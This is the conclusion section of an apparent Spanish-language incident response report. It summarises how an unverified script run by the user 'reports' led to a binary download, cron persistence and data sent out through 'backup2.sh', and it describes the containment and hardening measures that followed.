4. Conclusión

El análisis permitió identificar un compromiso del servidor originado por la ejecución de un script no verificado por parte del usuario `reports`. Dicho script descargó y ejecutó un binario que implantó un mecanismo de persistencia mediante `cron` y utilizó el script `backup2.sh` para enviar información del sistema a un servidor remoto.

Las medidas aplicadas permitieron contener el incidente, eliminar la persistencia detectada y verificar que no existían otros mecanismos activos de compromiso. Finalmente, se propusieron diversas medidas de refuerzo orientadas a reducir la superficie de ataque, mejorar la detección temprana y disminuir el riesgo de que un incidente similar vuelva a producirse.